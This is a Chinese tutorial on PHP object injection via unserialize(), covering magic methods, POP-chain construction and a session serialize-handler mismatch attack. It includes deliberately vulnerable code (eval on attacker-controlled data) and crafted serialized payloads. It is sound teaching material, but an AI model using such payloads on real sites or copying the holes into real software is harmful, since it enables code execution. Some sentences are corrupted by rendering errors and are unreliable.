文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

PHP序列化和反序列化

2023-08-31 15:45

关注

一.什么是序列化和反序列化

php类与对象

类是定义一系列属性和操作的模板,而对象,就是把属性进行实例化,完事交给类里面的方法,进行处理。

class people{   //定义类属性(类似变量),public 代表可见性(公有)    public $name = 'joker';   //定义类方法(类似函数)   public function smile(){        echo $this->name." is smile...\n";   }}$psycho = new people(); //根据people类实例化对象$psycho->smile();?>

在这里插入图片描述
上述代码定义了一个people类,并在在类中定义了一个public类型的变量 n a m e 和类方法 s m i l e 。然后实例化一个对象 name和类方法smile。然后实例化一个对象 name和类方法smile。然后实例化一个对象psycho,去调用people类里面的smile方法,打印出结果。

含义

php序列化(serialize):是将变量转换为可保存或传输的字符串的过程
php反序列化(unserialize):就是在适当的时候把这个字符串再转化成原来的变量使用
这两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性。
对象序列化成的字节序列会包含对象的类型信息、对象的数据等,说白了就是包含了描述这个对象的所有信息,能根据这些信息“复刻”出一个和原来一模一样的对象。
常见的php系列化和反系列化方式主要有:serialize,unserialize;json_encode,json_decode。
示例

class object{    public $team = 'joker';    private $team_name = 'hahaha';    protected $team_group = 'biubiu';    function hahaha(){        $this->$team_members = '奥力给';    }}$object = new object();echo serialize($object);?>

在这里插入图片描述
O 表示object,一个对象
6 表示对象名长度为6
object 对象名称
3 表示有3个属性
后面花括号里的是类属性的内容,s表示的是类属性team的类型,4表示类属性team的长度,后面的以此类推。
对象类型:对象长度:“对象名称”:类中变量的个数:{变量类型:长度:“名称”;类型:长度:“值”;…}

序列化

序列化格式中的字母含义:
a - array
b - boolean
d - double
i - integer
o - common object
r - reference
s - string
C - custom object
O - class
N - null
R - pointer reference
U - unicode string
类方法并不会参与到实例化里面
需要注意的是变量受到不同修饰符(public,private,protected)修饰进行序列化时,序列化后变量的长度和名称会发生变化
使用public修饰进行序列化后,变量$team的长度为4,正常输出。
使用private修饰进行序列化后,会在变量$team_name前面加上类的名称,在这里是object,并且长度会比正常大小多2个字节,也就是9+6+2=17。
使用protected修饰进行序列化后,会在变量$team_group前面加上*,并且长度会比正常大小多3个字节,也就是10+3=13。
通过对比发现,在受保护的成员前都多了两个字节,受保护的成员在序列化时规则:
1.受Private修饰的私有成员,序列化时: \x00 + [私有成员所在类名] + \x00 [变量名]
2. 受Protected修饰的成员,序列化时:\x00 + * + \x00 + [变量名]
其中,“\x00"代表ASCII为0的值,即空字节,” * " 必不可少。

反序列化

依次根据规则进行反向复原。
这边定义一个字符串,然后使用反序列化函数unserialize进行反序列化处理,最后使用var_dump进行输出:

    $ser = 'O:6:"object":3:{s:1:"a";i:1;s:4:"team";s:6:"hahaha";}';    $ser = unserialize($ser);    var_dump($ser);?>

在这里插入图片描述

二.魔术方法

方法名作用
__construct构造函数,在创建对象时候初始化对象,一般用于对变量赋初值
__destruct析构函数,和构造函数相反,在对象不再被使用时(将所有该对象的引用设为null)或者程序退出时自动调用
__toString当一个对象被当作一个字符串被调用,把类当作字符串使用时触发,返回值需要为字符串,例如echo打印出对象就会调用此方法
__wakeup()使用unserialize时触发,反序列化恢复对象之前调用该方法
__sleep()使用serialize时触发 ,在对象被序列化前自动调用,该函数需要返回以类成员变量名作为元素的数组(该数组里的元素会影响类成员变量是否被序列化。只有出现在该数组元素里的类成员变量才会被序列化)
__destruct()对象被销毁时触发
__call()在对象中调用不可访问的方法时触发,即当调用对象中不存在的方法会自动调用该方法
__callStatic()在静态上下文中调用不可访问的方法时触发
__get()读取不可访问的属性的值时会被调用(不可访问包括私有属性,或者没有初始化的属性)
__set()在给不可访问属性赋值时,即在调用私有属性的时候会自动执行
__isset()当对不可访问属性调用isset()或empty()时触发
__unset()当对不可访问属性调用unset()时触发
__invoke()当脚本尝试将对象调用为函数时触发

__tostring的具体触发场景:

(1) echo( o b j ) / p r i n t ( obj) / print( obj)/print(obj) 打印时会触发
(2) 反序列化对象与字符串连接时
(3) 反序列化对象参与格式化字符串时
(4) 反序列化对象与字符串进行比较时(PHP进行比较的时候会转换参数类型) (5) 反序列化对象参与格式化SQL语句,绑定参数时
(6) 反序列化对象在经过php字符串函数,如 strlen()、addslashes()时
(7) 在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有toString返回的字符串的时候toString会被调用
(8) 反序列化的对象作为 class_exists() 的参数的时候

三.php反序列化漏洞(对象注入)

在反序列化过程中,其功能就类似于创建了一个新的对象(复原一个对象可能更恰当),并赋予其相应的属性值。如果让攻击者操纵任意反序列数据, 那么攻击者就可以实现任意类对象的创建,如果一些类存在一些自动触发的方法(魔术方法),那么就有可能以此为跳板进而攻击系统应用。
挖掘反序列化漏洞的条件是:
1.代码中有可利用的类,并且类中有__wakeup(),__sleep(),__destruct()这类特殊条件下可以自己调用的魔术方法。
2. unserialize()函数的参数可控。

php对象注入示例一:

class A{    var $test = "demo";    function __destruct(){        @eval($this->test);    }}$test = $_POST['test'];$len = strlen($test)+1;$p = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}"; // 构造序列化对象$test_unser = unserialize($p); // 反序列化同时触发_destruct函数?>

最终的目的是通过调用__destruct()这个析构函数,将恶意的payload注入,导致代码执行。根据上面的魔术方法的介绍,当程序跑到unserialize()反序列化的时候,会触发__destruct()方法,同时也可以触发__wakeup()方法。但是如果想注入恶意payload,还需要对$test的值进行覆盖,题目中已经给出了序列化链,很明显是对类A的$test变量进行覆盖。
在这里插入图片描述
首先这里要传入$test,而test就是phpinfo();$p = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}"; 这里重新定义了A,把test变成了我们传递的值,这句话的功能就相当于var $test = "$_POST=['test']";,而在php中这句话就把前面的var $test = "demo";覆盖掉了,从而执行了__destruct()这个析构函数,eval也就执行了我们提交的phpinfo

php对象注入示例二:

class test{    var $test = '123';    function __wakeup(){        $fp = fopen("flag.php","w");        fwrite($fp,$this->test);        fclose($fp);    }}$a = $_GET['id'];print_r($a);echo "
"
;$a_unser = unserialize($a);require "flag.php";?>

这里主要通过调用魔术方法__wakeup将KaTeX parse error: Expected group after '_' at position 47: …ize()反序列化操作时会触发_̲_wakeup魔术方法,接下来…test变量的值,将php探针写入flag.php文件中,并通过下面的require引用,导致命令执行。

php反序列化利用—POP链构造

上面的例子都是基于 " 自动调用 " 的magic function。但当漏洞/危险代码存在类的普通方法中,就不能指望通过 " 自动调用 " 来达到目的了。这时我们需要去寻找相同的函数名,把敏感函数和类联系在一起。一般来说在代码审计的时候我们都要盯紧这些敏感函数的,层层递进,最终去构造出一个有杀伤力的payload。

POP链简介

1.POP 面向属性编程(Property-Oriented Programing)

常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者邪恶的目的。类似于PWN中的ROP,有时候反序列化一个对象时,由它调用的__wakeup()中又去调用了其他的对象,由此可以溯源而上,利用一次次的 " gadget " 找到漏洞点。

2. POP CHAIN

把魔术方法作为最开始的小组件,然后在魔术方法中调用其他函数(小组件),通过寻找相同名字的函数,再与类中的敏感函数和属性相关联,就是POP CHAIN 。此时类中所有的敏感属性都属于可控的。当unserialize()传入的参数可控,便可以通过反序列化漏洞控制POP CHAIN达到利用特定漏洞的效果。

POP链利用技巧

1 一些有用的POP链中出现的方法:

命令执行:exec()、passthru()、popen()、system()
文件操作:file_put_contents()、file_get_contents()、unlink()
代码执行:eval()、assert()、call_user_func()

2. 反序列化中为了避免信息丢失,使用大写S支持字符串的编码。

PHP 为了更加方便进行反序列化 Payload 的 传输与显示(避免丢失某些控制字符等信息),我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示,使用如下形式即可绕过,即:s:4:"user"; -> S:4:"use\72";

3. 深浅copy

在php中如果我们使用 & 对变量A的值指向变量B,这个时候是属于浅拷贝,当变量B改变时,变量A也会跟着改变。在被反序列化的对象的某些变量被过滤了,但是其他变量可控的情况下,就可以利用浅拷贝来绕过过滤。 $A = &$B;

4. 利用PHP伪协议

配合PHP伪协议实现文件包含、命令执行等漏洞。如glob:// 伪协议查找匹配的文件路径模式。

POP链构造案例

class main {    protected $ClassObj;    function __construct() {        $this->ClassObj = new normal();    }    function __destruct() {        $this->ClassObj->action();    }}class normal {    function action() {        echo "hello bmjoker";    }}class evil {    private $data;    function action() {        eval($this->data);    }}//$a = new main();unserialize($_GET['a']);?>

如上代码,危险的命令执行方法eval不在魔术方法中,在evil类中。但是魔术方法__construct()是调用normal类,__destruct()在程序结束时会去调用normal类中的action()方法。而我们最终的目的是去调用evil类中的action()方法,并伪造evil类中的变量KaTeX parse error: Expected group after '_' at position 41: …去构造POP利用链,让魔术方法_̲_construct()去调用…data赋予恶意代码,比如php探针phpinfo(),这样就相当于执行`。尝试构造payload:

class main {    protected $ClassObj;    function __construct() {        $this->ClassObj = new evil();    }}class evil {    private $data = "phpinfo();";}$a = new main();echo serialize($a);?>

编写我们想要执行的效果,然后进行序列化。
但是由于$ClassObj是protected类型修饰,$data是private类型修饰,在序列化的时候,多出来的字节都被\x00填充,需要进行在代码中使用urlencode对序列化后字符串进行编码,否则无法复制解析。运行得到O:4:"main":1:{s:11:"*ClassObj";O:4:"evil":1:{s:10:"evildata";s:10:"phpinfo();";}}

在这里插入图片描述
这里报错是因为这个的空字符串被当作空格变成%20,而空格在ASCII码中为32,所以要把%20改为%00127.0.0.1/1/1.php?a=O:4:"main":1:{s:11:"%00*%00ClassObj";O:4:"evil":1:{s:10:"%00evil%00data";s:10:"phpinfo();";}}
在这里插入图片描述

PHP Session反序列化

session请求过程

当第一次访问网站时,Seesion_start()函数就会创建一个唯一的Session ID,并自动通过HTTP的响应头,将这个Session ID保存到客户端Cookie中。同时,也在服务器端创建一个以Session ID命名的文件,用于保存这个用户的会话信息。当同一个用户再次访问这个网站时,也会自动通过HTTP的请求头将Cookie中保存的Seesion ID再携带过来,这时Session_start()函数就不会再去分配一个新的Session ID,而是在服务器的硬盘中去寻找和这个Session ID同名的Session文件,将这之前为这个用户保存的会话信息读出,在当前脚本中应用,达到跟踪这个用户的目的。

session_start的作用

当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会依据客户端传来的PHPSESSID来获取现有的对应的会话数据(即session文件), PHP 会自动反序列化session文件的内容,并将之填充到 $_SESSION 超级全局变量中。如果不存在对应的会话数据,则创建名为sess_PHPSESSID(客户端传来的)的文件。如果客户端未发送PHPSESSID,则创建一个由32个字母组成的PHPSESSID,并返回set-cookie。

Session存储机制

PHP中的Session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。存储的文件是以sess_sessionid来进行命名的,文件的内容就是Session值的序列化之后的内容。
PHP Session在php.ini中主要存在以下配置项:

Directive*含义
session.save_handler设定用户自定义session存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)。默认为files
session.save_path设置session的存储路径,默认在/tmp
session.serialize_handler定义用来序列化/反序列化的处理器名字。默认使用php。
session.auto_start指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.upload_progress.enabed将上传文件的进度信息存储在session中。默认开启
session.upload_progress.cleanup一旦读取了所有的POST数据,立即清除进度信息。默认开启

在这里插入图片描述
注意:这里修改session.save.path在php.ini中修改,三个都要改而且要去掉前面的冒号,重启才可以生效

在PHP中Session有三种序列化的方式,分别是php,php_serialize,php_binary,不同的引擎所对应的Session的存储的方式不同

存储引擎存储方式
php_binary键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数序列化处理的值
php键名 + 竖线 + 经过 serialize() 函数序列处理的值
php_serialize(PHP>5.5.4) 经过 serialize() 函数序列化处理的数组

Session反序列化漏洞

PHP在session存储和读取时,都会有一个序列化和反序列化的过程,PHP内置了多种处理器用于存取 $_SESSION 数据,都会对数据进行序列化和反序列化,PHP中的Session的实现是没有的问题的,漏洞主要是由于使用不同的引擎来处理session文件造成的
存在对$_SESSION变量赋值
php引擎存储Session的格式为

php键名 + 竖线 + 经过 serialize() 函数序列处理的值
php_serialize(PHP>5.5.4) 经过 serialize() 函数序列化处理的数组

如果程序使用两个引擎来分别处理的话就会出现问题。比如下面的例子,先使用php_serialize引擎来存储
session 1:

error_reporting(0);ini_set('session.serialize_handler','php_serialize');session_start();$_SESSION['username'] = $_GET['user'];echo "
";var_dump($_SESSION);echo "
"
;?>

接下来使用php引擎来读取Session文件
session 2:

error_reporting(0);ini_set('session.serialize_handler','php');session_start();class user{    var $name;    var $age;    function __wakeup(){        echo "hello ".$this->name." !"    }}?>

漏洞的主要原因在于不同的引擎对于竖杠’ | ‘的解析产生歧义。
对于php_serialize引擎来说’ | ‘可能只是一个正常的字符;但对于php引擎来说’ | ‘就是分隔符,前面是$_SESSION['username']的键名 ,后面是GET参数经过serialize序列化后的值。从而在解析的时候造成了歧义,导致其在解析Session文件时直接对’ | ‘后的值进行反序列化处理。
可能有的人看到这里会有疑问,在使用php引擎读取Session文件时,为什么会自动对’ | '后面的内容进行反序列化呢?也没看到反序列化unserialize函数。
这是因为使用了session_start()这个函数 ,PHP会自动反序列化数据并填充$_session超级全局变量。PHP能自动反序列化数据的前提是,现有的会话数据是以特殊的序列化格式存储。
构造payload:

    class user{        var $name;        var $age;    }    $a = new user();    $a->name = "bmjoker";    $a->age = "888";    echo serialize($a);?>

运行得到O:4:"user":2:{s:4:"name";s:7:"bmjoker";s:3:"age";s:3:"888";},生成的payload如果想利用php引擎读取Session文件时对’ | ‘解析产生的反序列化漏洞,需要在payload前加个’ | ',这个时候经过php_serialize引擎存储就会变成:
在这里插入图片描述

在这里插入图片描述

当使用php引擎的时候,php引擎会以|作为key和value的分隔符;左边部分是session的key,右边部分为session的vale
直接运行session 2
在这里插入图片描述

来源地址:https://blog.csdn.net/qq_31088019/article/details/126519989

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     807人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     351人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     314人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     433人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     221人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-后端开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯